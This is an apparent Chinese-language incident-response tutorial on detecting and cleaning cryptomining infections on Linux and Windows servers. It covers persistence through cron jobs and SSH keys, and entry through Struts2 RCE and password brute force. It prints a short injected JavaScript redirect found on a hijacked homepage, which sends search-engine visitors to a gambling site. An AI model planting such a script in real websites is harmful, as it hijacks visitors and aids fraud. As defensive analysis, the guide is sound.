【应急响应】挖矿脚本检测指南&威胁情报&样本定性&文件清除&入口修复

挖矿样本-Win&Linux-危害&定性

危害：CPU拉满，网络阻塞，服务器卡顿、耗电等 定性：威胁情报平台上传解析分析，文件配置查看等

在这里插入图片描述

挖矿脚本会根据宿主机器电脑配置进行"合理挖矿"

在这里插入图片描述

上传分析挖矿脚本

在这里插入图片描述

Linux-Web安全漏洞导致挖矿事件

某公司运维人员小李近期发现，通过搜索引擎访问该公司网站会自动跳转到恶意网站（博彩网站），但是直接输入域名访问该公司网站，则不会出现跳转问题，而且服务器CPU的使用率异常高，运维人员认为该公司服务器可能被黑客入侵了，现小李向XX安全公司求助，解决网站跳转问题。 排查：挖矿程序-植入定时任务 排查：Web程序-JAVA_Struts2漏洞

在这里插入图片描述

在这里插入图片描述

放到微步在线分析

在这里插入图片描述

域名反查IP

在这里插入图片描述

在这里插入图片描述

一般挖矿脚本会配合启动项、计时任务等权限维持技术 1、写入计时任务

在这里插入图片描述

2、写入SSH公钥(私钥连接)

在这里插入图片描述

3、删除市场上已知挖矿脚本(恶意竞争了，属于是)

在这里插入图片描述

Windows-系统口令爆破导致挖矿事件

某天客户反馈：服务器疑似被入侵，风扇噪声很大，实验室因耗电量太大经常跳闸，服务器疑似被挖矿。 排查：挖矿程序-植入计划任务 排查：登录爆破-服务器口令安全

Linux-个人真实服务器被植入挖矿分析

挖矿程序定位定性，时间分析，排查安全漏洞，攻击IP找到等

1、网站首页被植入暗链

在这里插入图片描述

通过网站域名搜索就恶意跳转，ip访问不跳转。高级用法：将跳转语句写入数据库中，前端代码看不到恶链代码

<script type="text/javascript">
var search=document.referrer; 			//document.referrer 获取了当前页面的来源地址。
if(search.indexOf("baidu")>0||search.indexOf("so")>0||search.indexOf("soso")>0||search.indexOf("google")> 0||search.indexOf("youdao")>0||search.indexOf("sogou")>0) 	#search.indexOf() 	//检查当前页面的来源地址是否包含某个搜索引擎的关键字，baidu、so、google 
	self.location="https://www.XXXXXXXX.com"; 	//self.location 表示当前窗口的 URL 地址，重定向至 https://www.XXXXXXXX.com
</script>

2、日志文件分析 目录扫描&struts2 RCE

在这里插入图片描述

struts 2 RCENday payload

在这里插入图片描述